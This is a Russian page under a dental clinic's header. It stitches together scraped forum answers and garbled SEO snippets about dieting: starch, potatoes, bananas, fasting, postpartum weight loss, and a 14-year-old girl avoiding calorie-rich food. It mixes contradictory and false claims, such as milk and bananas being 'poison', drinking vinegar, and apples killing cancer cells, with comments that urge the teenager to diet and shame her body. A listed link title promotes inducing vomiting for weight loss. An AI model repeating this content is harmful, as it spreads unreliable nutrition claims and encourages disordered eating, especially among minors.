Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Можно ли есть винегрет при похудении? Ну он много калорий принесёт?

Неа, нельзя. там картошка - крахмал, который нафиг не нужен при похудании, свекла и морковка тоже на первых порах исключены. только в сыром виде и редко в первой половине дня

Однако если здраво осмыслить всю ситуацию, то можно понять, что голодать при похудении очень вредно.Сегодня мы расскажем вам о вреде голодания и о том, почему нельзя голодать при похудении.

Если убрать картофель и добавить совсем чуть-чуть растительного масла, то калорий будет намного меньше

Лучше квашеную капусту с луком.

Ну если понемногу, то можно

В разумных количествах

Меньше масла, меньше картошки.
Побольше свёклы и горошка (если кладете).
И вполне полезно.

Соблюдая правильное питание для похудения можно не только поддерживать свою фигуру в форме, но и поправить свое здоровье и сделать свою жизнь более гармоничной.Но не смотря на это, продукты, которые содержат крахмал, нельзя сочетать и друг с другом.

ТАм картошка и свекла и морковь Сильно не похудеешь Ешь капустный салат

Вполне себе съедобно... вот точно от овощей! не разбомбит!)))

В первой половине дня. Как самостоятельное блюдо - ни с чем не смешивая! В небольшом количестве. В нем калорийные овощи, много углеводов.

Я читала что худеющим нельзя картофель? Почему?

Крахмала много.. картофель считается углеводом, вот почему)

Почему нельзя кетчуп? Для всех. Ведь там всего то 95 калл Написано без крахмала и ГМО....при похудении считается что нельзя и вообще что он вредный.

Картофель-крахмал-сахар-калории-ожирение....

Потому что он очень каллорийный

Он содержит: белок, жир, фосфор, крахмал, туберин, и В1 В2 С РР.

Потому что крахмала много в нём.

Можно при похудении есть бананы? Если съедать один небольшой банан в день. Можно?

Мона мона

3 продукта, которые нельзя есть после тренировки.Почему бананы исключают из рациона для похудения.Они содержат приличное количество фруктозы в сочетании с крахмалом, что усиливает колебания уровня сахара крови.

Можно. Организм требует - надо выполнять.

Банан, дыня, арбуз, помидоры, цельное молоко - яд

Нет а для чего худеть? Худые в концлагерях были и что?

Бананы очень калорийны ( 89 ккал на 100 грамм ),лучше не кушать их

Можно.
Но лучше всего на завтрак. с:

Есть картошку каждый день и помногу при похудении нельзя из-за большого количества крахмала в ней. Хотя картошка это овощ, но овощ, который при частом употреблении способен добавить вам лишних килограмм.

Можно! лучше на завтрак или в первой половине дня. Я например, каждый день ем овсяную кашу с целым бананом, это не помешало моему похудению.

Можно есть бананы

Бананы та же самая картошка-90% крахмал..

Говорят, что нельзя, но правда можно! Крахмал? да! но витамины витаминами! ешь и не думаю любые фрукты или овощи можно!

Он очень питательный и калорийный да можно но только чтоб это было целым перекусом а то еще плюсом там чего наворотите

Кофе при похудении почему нельзя возмутятся многие поклонники ароматного питья. Для них решение одно подбирать для борьбы с лишними килограммами ту диету, которая позволяет его употребление.

Можно ли когда худеешь есть борщ, оладьи? И вообще что нужно есть и что нельзя!

Оладья нет

Нашла любопытную статью на сайте www.herpes.ru. ПОЧЕМУ НЕЛЬЗЯ ХУДЕТЬ СВЕРХ МЕРЫ предупреждение психолога.Интересно, а где у похудения - мера? Мы же не худеем с 45 до 40?

Главное - не обжираться

Можно, только в меру

Грамотно пишут ежемесячные журналы "Худеем правильно " и "Похудей! "

Ничего нельзя. Запомните это и успокойтесь.

Борщ без мяса на овощном бульоне, оладьи НЕТ

Пищевые кислоты нельзя принимать одновременно с крахмалом. Все ясно.Не понятно, почему нет в одной пищи хоть парочки различных белков мясо, рыба, сыр, орехи, яйца, молоко ?Похудение в сауне. Чем полезен мед. Уход за мелированными волосами в домашних...

Оладьи точно нет, вообще ничего мучного.

Уксус пей

Можно все, но исключая мучное, жаренное, жирное и т. п. вместо сахара - ложечку мёда. вот тебе основа любой разумной диеты) что нужно есть - это овощи, белое мясо, молочные такие как творог, кефир, можно йогурты без наполнителей. фрукты, конечно же (но не сладкие - виноград, манго лучше не употреблять, бананы в небольшом количестве) . пить вместо кока-кол лучше воду, если вода - слишком пресно, то можно заменить чаем без синтетических вкусовых добавок (с мёдом вместо сахара) . оладьи кушать не желательно. борщ.... ну, смотря как готовить (будет либо противно, либо совсем не диетической пищей выходит).

А почему нет? Варим борщ из постного мяса, зажарку делаем не применяя масла. Свекла прекрасно печется в духовке. Оладьи можно приготовить с сахарозаменителем и в место муки использовать отруби или кукурузный крахмал.

Нельзя. Почитай меню любой диеты.

Вы же не спрашиваете, почему на гречневой диете едят гречку. Re Картофельный крахмал против кукурузного.И будете понимать, ПОЧЕМУ нельзя кушать то или это. Тогда и по врачам бегать на придется, и худеть не надо будет.

Убирать надо "прямые углеводы" : сахар, мучное, картошка и крахмал, каши рисовую и манную. Можно нежирное мясо, рыбу, кальмары малюски ( но не креветки! ) Можно капусту любую, зелень много любую, крупа ячневая. гречка, пшено. чечевица. Отруби шариками из аптеки, яблоки...

Картофель при похудении, это нормально?

Она невкусная...

Там содержится крахмал и сахар. Это легкоусвояемые углеводы. Вот и все .в картофере и бананах очен много крахмала, а в винограде много глюкозы. от крахмала и глюкозы жиреют.

На востоке картофель считается средством для набора веса.

Можно. Картофель с рыбой. Лучше картофель вареный, на пару, или же пюре.

Навредит.
Простое гороховое пюре, в холодную воду горох, Стружка свежей моркови, Л. Лист ( обязательно) После закипания добавить разнотравье можно сушённое ( если при закипании много пены- не удалять а добавить нашинкованный репчатый лук - убирает пену и с мясного бульона, добавляя последнему прозрачность) после закипания -огонь на минимум, накрыть крышкой до полной разварки гороха после этого соль и перец по вкусу) если воды оч много - "Суп" дать выкепеть Следить чтобы не пригорало. При горячем употреблении рекомендуемые добавки -майонез) при употреблении холодным рекомендуемая и необходимая добавка -подсолнечное масло Насыщенное разнотравье даёт каждый раз практически разный вкус. Укроп добавлять минут за 10-15 перед окончанием готовки, хоть и необязательно.
Для диеты по монтиньяку - идеально - можно с большим удовольствием есть без хлеба. Для любителей острого добавки аджики, соевого соуса, соуса чили, разных перцев - поощряется.

Многим нельзя, кровь крахмалами забивается

2 раза в неделю грамм по 150-200 можно. Только отдельно от любых жиров. Отварите, посыпьте зеленью, возьмите к ней огурчик свежий и помидорчик. Но только без масла ( и без белков - мяса рыбы) , тогда норм будет, калорий там совсем немного .

Например крахмал или мука на диете. Вы ищете. Почему при похудении нельзя есть помидоры. Кулинарная обработка обычная, исключая обязательное отваривание мяса, птицы и рыбы.

Картофель можно есть, но не жаренный или вареный, а в супах

В мундире без масла можно.

Вареную можно! Не в коем случае ЖАРЕННУЮ!

Ничего не повредит если есть в меру.

Картофель - это крахмал. Крахмал - простые углеводы, сравнимые с сахаром. Делайте выводы :)

На медленные должно приходиться не более 20%. И вот почему.По сути крахмал тот же углевод. Он сложный, однако крахмалистая цепочка состоит из звеньев глюкозы.2 Отзывы к Запрещенные продукты при похудении . Аня09.09.2014 в 8 42 дп.

Дочь 14 лет отказывается есть калорийную еду, а просит покупать ей овощи и фрукты

Молодец. она права, в ее возрасте и при таком росте это многовато . главное поговорите и установите планку ее идеального веса и не меньше . лучше сходите к диетологу.

А каждая девушка знает, что бока и живот это главные проблемы, на которые следует обратить свое внимание при похудении.Ни в коем случае на диете нельзя есть белые соусы, поскольку они содержат крахмал, муку и майонез.

Нормально. . я к лапше плохо отношусь. . а 58кг при 164-ну да, не дюймовочка.. .
на капусту-морковь пусть переходит..

Ребёнок прав. Пусть покупает самые дешовые овощи и фрукты. Лето ведь.

То есть, вы хотите сказать, что на овощи и фрукты у вас денег нет, а на мясо и рыбу есть? Удивительно! =))))))))
Правильно делает дочь! Молодец! Я тоже не понимаю, как летом можно жрать жирную и тяжёлую пищу? Ну и умничка, что уже начинает следить за своей фигурой и здоровьем! Респект ей!

Значит макароны с котлетами Вы тянете материально, а замороженные овощи нет?
Бред какой-то!
По массе и росту у нее все в норме!

Мясо в любом случае необходимо. не варите суп. просто сварите ей мяса. яйца. и плюс фрукты, творог. это нужно заставлять есть. иначе упадок сил, анемия. достаточно.

Зачем и какие углеводы нужны при похудении? Белки их роль в похудении.Почему нельзя одновременно работать на массу и на рельеф?Крупы в большей степени состоят из крахмала - стоит ли прекратить их употребление для эффективного жиросжигания?

Если у неё рост 164 а вес 58 то это нормально! Она ведёт здоровый образ жизни. И только следите чтоб не переборщила с похуденьем, а то тоже может стать девушкой-скелет (простите за выраженье) как по новостям говорили.

Творог яйца. фасоль - белок
капуста. морковка лук и пр зелень = витамины
я сама варю сейчас крапиву да щавель, тушу брюкву, делаю салаты.. .
вполне для лета
можно и недорого, вчера вот перец купила уценённый. там чуть повреждения. вырезала и всё

Троллите?.. )
http://otvet.mail.ru/question/164594824

Пусть питается тем, что ЕЙ хочется. У меня младший ребенок (7 лет) практически совсем не ест мясо. и я его не заставляю. лишь бы ребенок (а в таком возрасте это уже не ребенок фактически) не перешел на диету "ничегонеедения", потому что это уже БОЛЕЗНЬ и приводит она к анорексии.

Поздравляю, ваша дочка поддалась стадному чувству. Пытаясь ее переубедить, только усугубите. Если хотите помочь и спасти ее здоровье, объясните - картошка совершенно не диетическое блюдо, наоборот вредное. От мороженных овощей никакого толку и замораживают их добавляя всякие химикаты. Отварная говядина или не жирная курица (грудка например) очень полезны и совершенно не вредят здоровью, а уж белок содержащийся в них ни одними витаминами не заменить.
Овощи и фрукты не только полезны, но и необходимы. Их нельзя исключать из рациона, тем более ребенка. Даже с самой маленькой зарплатой можно летом позволить себе пару помидор, огурец и зелень.
Я хоть и не на диете, но если есть выбор - нежирный борщ и свежий салат или кусок жареного мяса с хлебом и картошкой, не задумываясь выберу первое. Зачем насиловать организм только по тому, что советские диетологи придумали книжку о "здоровом питании" где дневной рацион детсадовца как продуктовый запас недельный у не большой семьи.

Продукты для похудения вы узнаете полный список таких продуктов в чем заключается суть самой диеты, почему вам не нужно голодать, как правильно есть и другое.Картофель понятно-крахмал,а помидоры-то почему нельзя?

На диету села вот и все.

Теперь ест только салаты со сметаной или растительным маслом, вареную картошку с овощами, жареные мороженные овощи троллить надо уметь

Ребёнок по ходу умнее вас.

Да у вас не дочь а золото, на ней можно будет сэкономить, ведь овощи гораздо дешевле других продуктов, да и полезнее. А зачем покупать замороженные овощи, если сейчас пошли свежие? В такую жару я например сама стараюсь готовить больше овощных блюд, различных салатиков, молочные каши, потому что мяса почему то и не хочется. Вот сейчас окрошечку холодненькую приготовила с молодой жаренной картошкой. Салатик из свежих помидоров, огурцов и чеснока. Котлет нажарила. Всё поели, а к котлетам ни кто не прикоснулся. Так что не принуждайте ребёнка, захочет, сама спросит. Готовьте больше салатов, не думаю что овощи окажутся дороже других продуктов.

Картошка это вполне каллорийно. Сводите дочь к диетологу, пусть он объяснит, как правильно питаться и не толстеть.

Гречневая диета. Меню очищающей и лечебной диеты на гречке, результаты похудения.Крахмалистые и некрахмалистые овощи почему важно знать о содержании крахмала?

Классно питается, за 4месяца на 2года выросла, так держать.
Тролль же

Господи! 58 кг при росте 164 это офигеть сколько много! Я бы сама такую дочь посадила на диету. у меня рост 174 и вес 58 кг.... Я не Кащей, у меня нормальная фигура, даже кг можно убрать. Ваша дочь права. Не стоит растить в ней свинью жирную, которая будет есть все подряд и толстеть. Летом правильно ест фрукты и овощи, легкие супчики. Денег на хватает, ужмитесь для себя что-нибудь, а не для нее. Она не растрачивает, самое дешевое покупает, бедная девочка, мне ее жаль! Женщина даже в 10 лет должна следить за собой. ПОЛНОСТЬЮ одобряю вашего ребенка и вам советую слушать меньше вашу мать. макароны с мясом - это не дешевле овощей. пусть учится быть на диетах, она женщина, а не корова. Интересно, двое родителей работают и все-равно у них нет денег?!?! БРЕЕД!

Онп просто у вас не разбалованная и все прекрасно понимает что денег не хватает.

Что вы все про картошку? Картошка тоже овощ, причем полезный, так как там крахмал и витамин С!! ! Ребенок пытается питаться здоровой пищей и не перегружать организм мучным, и все правильно делает. Единственное белок надо есть все таки, так что давайте ей в качестве творога и яиц, мясо также предлагайте хоть в супе хоть как. И вообще поддержите ребенка, я считаю он прав.
С утра желательно долгоусвояемые углеводы, желательно каши конечно (типо овсяной можно на воде) , в обед и ужин в основном углеводы в виде овощей и белки как я вам писала выше, например, на ужин омлет с овощами (или без) смотрите сами!
И еще посмотрите статьи про правильное питание, я думаю на многие вещи откроются глаза и вам поможет сохранить красоту и здоровье на долгие годы. Удачи!

Ребенок в 14 лет должен слушаться маму. Как можно идти на поводу у ребенка. Вы взрослая, должны понимать, что молодому растущему организму не только овощи нужны. Нужна более серьезная пища. Заставляйте. Или вам так удобно? Сама делает, сама расхлебывать послед ствия будет. Ну скажите, вот вырастет, сама зарабатывать будет и будет есть что хочет. Тогда уже можно овощи есть будет, все сформируется.

Почему такой обычной крупе, как рис, отведено особоерис содержит клетчатку и крахмал, которые могут спровоцировать запор, если вы будете им злоупотреблять вспомните, чторис для похудения нельзя есть с жирными продуктами, так как из высокого содержания углеводов в...

Поддержала бы, учитывая что и сама так питаюсь

Я бы рвала на себе волосы.. Из-за того, что не могу дочери обеспечить правильное и качественное питание.. Вы же понимаете, что это явно не ваши котлеты с макаронами..

Все правильно ребенок говорит. От мясного и жирного не только появляется лишний вес, но и для организма тяжело. Здоровая вегетарианская еда только на пользу пойдет. Беру такую в магазине Сибирская сила . Нет чувства голода, вкусная еда и нет лишнего веса. Плюс для организма полезно.

Крабовое мясо можно ли его при похудение?

Можно

Почему нельзя голодать при похудении. Отказ от пищи не дает организму терять жир. Многие из нас, стремясь как можно быстрее сбросить вес, значительно ограничивают свой рацион и начинают голодать.

Можно 2.

Можно-3

Можно, там много белка, мало жира

Если оно настоящее, а не подделка из рыбы и крахмала.

Покупное нельзя, а настоящее можно)

Три дня маргарита королева основным аргументом для банка будет именно та аппаратнаяой процедура для похудения картинки, которая содержится в вашей кредитной истории.почему крахмал нельзя при похудении.

Когда вы выбираете крабовые палочки для диеты, нужно обязательно прочитать состав продукта. Будет хорошо, если в составе крабовых палочек не будет ничего, кроме сурими и соли. Если вы видите, что в составе есть соя или крахмал, а также растительный белок, красители и ароматизаторы, знайте, что такой продукт не пойдет вам на пользу. И уж конечно, такие крабовые палочки не стоит использовать для похудения.

Можно.

Как быстрее потолстеть? Посоветуйте!

Жир

Сахар и крахмалы в один прием пищи есть нельзя.Учитывая эти правила, можно привести схему правильного питания для похудения, здоровья и прекрасного самочувствия.Почему женщина набирает в весе во время беременности?

Ешь много мучного, ночью

Тоже интересуюсь!

Боишься попортить красоту, вот и не ешь

Не удивляйтесь, но анорексия стандартно женское заболевание, мужчины в ней рассматриваются, как исключение. Анорексия не возникает сама по себе, он является последствие сознательного отказа человека от пищи. От осознания добровольного отказа от еды анорексия становится еще страшнее, потому что человек даже не понимает, что он серьезно болен. При достижении веса тела в 35 килограмм наступает смерть, спасти барышень уже просто не удается. Причины тому разные: организм перестает переваривать пищу, девушка вовремя не обращается к врачу, потеря общей массы настолько велика, что спасти затухший организм уже нет никакой возможности. Если же барышню удается спасти, то в большинстве случаев она остается инвалидом, никогда не может иметь детей и питаться нормальными продуктами без слабительных лекарств.
Кроме того, женское здоровье дает настолько сильный сбой, что влечет за собой неизлечимые заболевания половых органов. Примечательно, что анорексия является следствие стандартной диеты. Вначале вы отказываете себе в сладком, потом исключаете из рациона рыбу, мясо, крупы. Потом вам кажется, что фрукты и овощи – это тоже непозволительная роскошь. В итоге большинство барышень переходит на салатные листья и диетический лимонад. Заканчивается диета элементарным голоданием и прохладной водой, которая по идее должно заменять анорексичным барышням весь комплекс питательных веществ. Так случай, произошедший с итальянской моделью, потряс все общество. Девушка, изводившая себя диетой на протяжении полугода, умерла от истощения прямо на подиуме. Однако изначальная бурная реакция модельеров и общественности не принесла должных результатов – анорексия шагает по планете.
Оборотной стороной анорексии считается булимия – обжорство, когда человек совершенно не контролирует позывы желудка и постоянно ест. Принцесса Диана страдала булимией в последние годы жизни, поэтому старалась придерживаться фруктово-овощного питания. Часто булимия накрывает с головой тех, кто долго время сидел на жесткой диете. После такого стресса организм требует восполнения потерянных веществ и вызывает банальное обжорство, который также влечет за собой серьезные последствия – избыточный вес, гипертонию, ранние инсульты.
Предотвратить последствия и того, и другого заболевания на ранних стадиях просто невозможно: люди прекрасно выглядят, чувствуют себя комфортно. Но уже через одни-два месяца все встает на свои места. Появляются первые признаки - отказ от пищи или наоборот, поедание всего, что есть в холодильнике. Когда ситуация достигает апогея, как правило, больных кладут в диспансер. Лечение абсолютно невозможно проводить в домашних условиях, так как здесь необходима не только помощь диетологов и врачей, следящих за общим состоянием организма, но и консультации психолога. Без помощи «душевного врача» достижение положительного результата будет просто исключено. Как предотвратить анорексию и булимию? Есть все, что нравится в умеренных количествах. Умеренность – основа любого рациона, основанного на правильном питании. Каждый человек красив, и убивать эту красоту просто преступление!

Займись спортом и ешь 5 раз в день но по чуть чуть. ты станешь не много толще и тело спортивным станет начнут расти мышцы на руках и на ногах. качай конечно же пресс и все будет норм вот увидешь. у моей подруги такая же фигня

Однако если здраво осмыслить всю ситуацию, то можно понять, что голодать при похудении очень вредно.Сегодня мы расскажем вам о вреде голодания и о том, почему нельзя голодать при похудении.

А вот я похудеть хочу

Короче возьми картошку, не смывай крахмал, пожарь .Добавь соли, кетчуп !
Самое главное ешь быстро так организм будет хотеть ещё еды, так как голод проходит через 15 минут после приёма пищи !

Я тоже не могу у меня рост 174 а вес 50 всю жизнь худая ((((

Это правда,что от фруктов можно поправиться?

Вряд ли поправишься, скорее просрешься. Кроме того - фрукты и их соки убийцы аппетита.

Соблюдая правильное питание для похудения можно не только поддерживать свою фигуру в форме, но и поправить свое здоровье и сделать свою жизнь более гармоничной.Но не смотря на это, продукты, которые содержат крахмал, нельзя сочетать и друг с другом.

Ну, есть ещё бананы - от них да. персики/нектарины тоже содержат сахАра и много. перейди на сливу, там меньше. не верьте комментам внизу - не ешьте бананы: там ещё крахмала полно

От этих не поправишься, а от винограда можно

Нет, это не правда. яблоки вообще убивают раковые клетки в организме.

Говорят, что надо сьедать в час 1 яблоко, если много яблок есть - одно усваивается, а остальное -откладывается)

От такого количества не поравишься. И даже если будешь есть в два раза больше. А вообще поправиться можно от всего, что содержит хоть 1 калорию. Главное поменьше двигаться.

Почему нельзя кетчуп? Для всех. Ведь там всего то 95 калл Написано без крахмала и ГМО....при похудении считается что нельзя и вообще что он вредный.

В сладких фруктах много углеводов, так что поправиться от них, если есть много, можно.

Да. Но от яблока нет

Конечно. это же сахар. калории. особенно арбуз и виноград. инжир. банан. а соки вообще пртивопоказаны при похудении.

Да Вы просто обжора)))

Всем привет, никак не могу сбросить 3-5 кг,

Пей воду после еды

3 продукта, которые нельзя есть после тренировки.Почему бананы исключают из рациона для похудения.Они содержат приличное количество фруктозы в сочетании с крахмалом, что усиливает колебания уровня сахара крови.

Ты девушка. Должна после тренировки пить кефир. Этого хватит. Лучше плотно завтракай, чтоб хватило на весь день. Можешь носить с собой фрукты-бананы, яблоки, апельсины. После работы, перед тренировкой, будет в самый раз.

Сходи в туалет

В начале, купи себе нормальные весы, которые не только общий вес показывают, но и всё остальное: жир, вода, кости и мышцы. И на этих весах надо обращать внимание на жыр. Дальше займись диетой, сразу убери с рациона питания всё мучное, жирное и сладкое. Хотя, раз в неделю можно съесть кусочек тортика. Сладкое поднимает настроение. Выпивать 1,5-2 литра воды, ни соков, ни напитков сладких, ни чая, а именно воды, минералки. Питаться надо так: завтракай как король обедай как принц ужинай как нищий. И в конце уже спорт, как минимум 4-5 раз в неделю по 1-2 часа. Постарайся делать упражнения для поддержания фигуры и на убывания лишнеговеса, а не дла накачивания мышц.
А ещё, проверь щитовидку, если её функция нарушена, то худеть будет тяжелее.

Пей воду. Много воды. Я тоже сейчас работаю над 3-5 кг. Муж каждый день носит с работы по 1 галлону воды я выпиваю в день 1 галлон (1 галлон это 4 литра для справки) . Плюс ко всему если сильно хочется кушать - кушай грейпфрут или апельсины. Пробегай в день не меньше 40 мин и увидишь результат. Удачи.

Самое эффективное упражнение бег. А за час до еды выпивай 1-2 стакана воды. После тренировки тоже больше воды, это сбивает голод. Я вот тоже худею на 3-5 кг. За неделю сбросила 2 кг. На следующей еще 3. Так и похудела. Просто физ нагрузки, меньше еды больше воды и исключила: хлеб, сладкое, солёное, жирное.

Есть картошку каждый день и помногу при похудении нельзя из-за большого количества крахмала в ней. Хотя картошка это овощ, но овощ, который при частом употреблении способен добавить вам лишних килограмм.

20-00 это отличное время для тренировок и кардио! раз вы мало кушаете, соответственно ваш организм находится в стадии экономии энергии и не хочет отдавать жирок. Что бы начать худеть нужно начать есть! Когда организм будет постоянно сытым, то он поймет, что ему скопившийся жир вовсе и не нужен! Зачем иметь про запас, если его постоянно кормят? Но и кушать нужно не всё! думаю вы это понимаете. Считайте ккал, меньше не значит лучше. Снизьте суточную норму ккал на 200-250 и вы начнете худеть, если резко начнете опять потреблять меньше ккал, то организм снова не отдаст вам жир так просто и худеть вы не будете. И если ваша цель похудеть, то забудьте про понятие "углеводное окно", его закрывают обычно бананами люди которые хотят набрать мышечную массу. Раз ваши тренировки проходят в 20-00, то лучше кушать после тренировки обезжиренный творог (никаких фруктов вечером!!!) . В нем много белка, мало углеводов и нет жиров, ощущение сытости сохранится на долго и ваш организм будет восстанавливаться за счет белка. И никаких творожных масс. Это творог переработанный и добавлен крахмал, сладкий, в общем ничего полезного. Рекомендация: берите творог с минимальным сроком хранения, с большим сроком хранения и творогом нельзя назвать.

Заставлять себя есть с утра и в обед! Уж лучше от ужина отказаться, чем от обеда и завтрака!
Причина кроется в неправильном питании!
80% похудения зависит от питания
А жор после тренировки сбиваем стаканом кефира

А сколько времени вы там проводите? как после тренажерки не может быть результата? ! ) первый раз такое слышу) может вы просто от тренажера к тренажеру ходите? ! ) 2 часа в зале, желательно 4 раза в неделю, можно и больше, 1 час кардио, 1 час силовые.
после тренировки кушайте спустя час и только что-то белковое. если так уже поздно по времени, то я бы съела творог

3-5 килограмм - это не много. Как правило - это не жир, а лишняя жидкость, которая задерживается из-за плохого лимфообмена. Больше двигаться нужно. А еще есть чудо крем "масло-соль" ночной уход Cell-plus. Вот он улучшает лимфодренаж и выводит лишнюю жидкость и клеток кожи и объемы уменьшаются.

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Кофе при похудении почему нельзя возмутятся многие поклонники ароматного питья. Для них решение одно подбирать для борьбы с лишними килограммами ту диету, которая позволяет его употребление.

Вредно ли лечебное голодание?

Нет и не может быть лечебного голодания. человек, как и крысы, абсолютно не приспособлен голодать.

Нашла любопытную статью на сайте www.herpes.ru. ПОЧЕМУ НЕЛЬЗЯ ХУДЕТЬ СВЕРХ МЕРЫ предупреждение психолога.Интересно, а где у похудения - мера? Мы же не худеем с 45 до 40?

Всё дело в названии-ЛЕЧЕБНОЕ, т. е для лечения это нужно. А просто так? Лучше соблюдай пост, не зря они придуманы, тем более с 28 ноября начинается Рождественский пост, он не очень строгий, попробуй, будет польза.

Будь покоен, радостен, аппетит умерь —
И любого доктора выставишь за дверь
(Фридрих фон Логау)
Когда как. Зависит от здоровья человека. При ряде заболеваний и патологических состояний полный отказ от пищи приводит к значительному вреду для здоровья и может даже привести к летальному исходу. Так например при сахарном диабете при полном отказе от пищи в течение 24-48 часов больной может впасть в гипогликемическую кому, что является угрожающим жизни состоянием и может привести к смерти.
Любой врач скажет: "Воздержание - в высшей степени полезно! ", "Вставайте из-за стола с чувством лёгкого голода", "Не объедайтесь, это вредно", и т. п. В медицине есть такое понятие, как разгрузочно-диетическая терапия (РДТ) — ограниченный по времени добровольный отказ от пищи в течение определённого периода с лечебной или оздоровительной целью, применяемый в некоторых областях официальной медицины.
Свт. Тихон Воронежский в краткой форме сформулировал: "Воздержно яждь, мало пий и здрав будеши", т. е. воздержание - это колоссальное оздоровительное средство.
Важно то, как человек голодает. Тут нужна разумность и рассудительность, а не неразумное неядение, когда человек доводит себя до истощения. Нет такой доброй вещи, которую нельзя было бы испортить. И без рассуждения можно погубить себя чем угодно, самыми полезными вещами.

Согласна с мнением Кристины и Вадима, но лечебное голодание не стоит начинать без консультации врача...

Найдите грамотного врача и голодайте на здоровье. Всё что сказано выше поддерживаю.

Сок из желудка выделяется и он вреден для него ктому же ты отощаешь а диета это другое там не голодаешь так что пошли подальше врача который тебе это посоветовал Лечебное голодание — метод альтернативной медицины, заключающийся в добровольном отказе от пищи, а иногда и воды, с последующим облегчённым (диетическим) питанием в течение определённого периода. Метод основывается на ненаучной идее о существовании в организме так называемых шлаков, согласно которой при отсутствии поступающей извне пищи органы пищеварения и связанные с ними системы якобы переходят в режим «восстановления» и очистки. Несоблюдение ключевых правил процедуры голодания может причинить серьёзный вред здоровью. В отношении классического (влажного, то есть с употреблением воды) голодания большинство методик мало разнятся и сходятся на нижеследующих правилах:
Принципиальным аспектом проведения голодания является факт полного отсутствия поступлений в организм каких-либо калорий [уточнить] . Употребление даже малых доз чая, отвара, сока переводит процедуру из категории голодания в категорию экстремальной диеты и большинством приверженцев методики голодания настоятельно не рекомендовано
Крайне важным является длительный выход из голодания. Нарушение процедуры выхода достоверно причиняет вред. Выход из голодания, обязательно должен быть на соках не содержащих крахмала. Например: лимонный, апельсиновый, грейп-фрут. Соки должны быть свежеотжатыми и отфильтрованными через марлю.
Сохранение физической активности во-время голодания. Методики разнятся в отношении её интенсивности: от длительных нагрузок до небольших прогулок, но практически все признают необходимость её сохранения в некоторой форме (речь идет о людях не пораженных тяжелыми заболеваниями)
Терапевтические процедуры. Большинство методик считает обязательным и крайне важным проведение глубоких клизм. Солнце и чистый воздух также очень важны для организма не потребляющего калорий
Действие лекарств на организм находящийся в состоянии голода довольно непредсказуемо и их употребление категорически не рекомендуется. (В редких случаях под наблюдением врача, в малых дозах)
Некоторые методики не рекомендуют чистить зубы во время голода, так как считают что налет на зубах защищает эмаль от закисленного состава слюны
Вход не столь критичен как выход, но также имеет большое значение

Пищевые кислоты нельзя принимать одновременно с крахмалом. Все ясно.Не понятно, почему нет в одной пищи хоть парочки различных белков мясо, рыба, сыр, орехи, яйца, молоко ?Похудение в сауне. Чем полезен мед. Уход за мелированными волосами в домашних...

Хочу похудеть после родов но на одних кашах у меня сил потом не будет?

Питайтесь полноценно . к чему сидеть на кашах?

Вы же не спрашиваете, почему на гречневой диете едят гречку. Re Картофельный крахмал против кукурузного.И будете понимать, ПОЧЕМУ нельзя кушать то или это. Тогда и по врачам бегать на придется, и худеть не надо будет.

Ты сначала закончии кормить грудью, а потом экспериментируй сколько хочешь - это просто опасно для ребенка.

От каш как раз не похудеть, от риса и овсянки наоборот обратный эффект ( крахмал ), для кормящих нужно мясо ( протеин ), овощи-фрукты ( клетчатка) , молочные ( кальций) и от этого не поправитесь, и гулять побольше

После родов организм полностью восстанавливается через 3 года. Возможно, Вам некуда спешить, лишний вес сам уйдет.

Питайся полноценно маленькими порциями раз 5 в день. И вес потихоньку будет уходить. Я так после первой скинула за 1 год 10 кг

Да щас вас насоветуют--если вы будете кормить грудью и худеть--то начнете в обмороки падать и молоко будет как вода... кормление и диета для похудения несовместимы... я взрослая женщина и вижу кормящих мамочек издалека...

Там содержится крахмал и сахар. Это легкоусвояемые углеводы. Вот и все .в картофере и бананах очен много крахмала, а в винограде много глюкозы. от крахмала и глюкозы жиреют.

А почему каши. . мясо на пару, овощи

Зачем же на кашах? отварное мясо, рыба, меньше сладкого.

Я купила диету Малышевой, и молоко есть. и за неделю на 2 кг похудела при полнейшем несоблюдении этой диеты.. и ничего.. А без диеты этой только набирала килограммы.. Парадокс прямо)

Ну я допустим сразу после родов сяду на одни фрукты, овощи и вообще жёстко себя буду контролировать, но я и грудью кормить не буду так что мне проще.

Как выгледит красиво

Наружная красота не важна, важнее внутренняя

Например крахмал или мука на диете. Вы ищете. Почему при похудении нельзя есть помидоры. Кулинарная обработка обычная, исключая обязательное отваривание мяса, птицы и рыбы.

Руски езык учит нада. Силно помогат быт красивее.

То что красиво- не всегда хорошо, то что хорошо всегда красиво.

  • Диета для больного щитовидной железой - От чего могут сильно начать выпадать волосы? Стресс влияет на волосы При повышенной функции щитовидной железы, когда в о
  • Диетическая паста для похудения - Диета для похудения. Не вздумай сидеть на диетах! Они еще больше испортят твою фигуру! Ну посидишь ты на диете, помучаеш
  • Диета мясное суфле видео - Врач прописал строгую диету(панкреатит),как готовить диетическое мясное суфле? Варите постную говядину, пропускаете чере
  • Программы похудения за рубежом - С какой скоростью я похудею? Пол года.. Программы похудения в Финляндии считаются одними из самых эффективных в мире. В
  • Можно похудеть вызывая рвоту - Можно ли так не много похудеть? Хочешь заработать ГАСТРИТ? действуй.... Для того чтобы вызвать рвоту у ребенка можно исп
  • Диете вино с сыром - Я сидела на Диете Французской - сыр и красное вино, почему ж в нагрузку мне прибавилось пяток кило ? ) ...это бонус от Б
  • Похудение с помощью пленки и крема антицеллюлит - Вы верите, что антицеллюлите крема помогают? Конечно нет Пленка для похудения отзывы и способы применения. Все способы п
  • За сколько дней можно похудеть если бегать - На сколько можно похудеть если сидеть месяц на геркулесовой диете? На 322 грамма. Бегать надо. От еды не худеют. Сколько
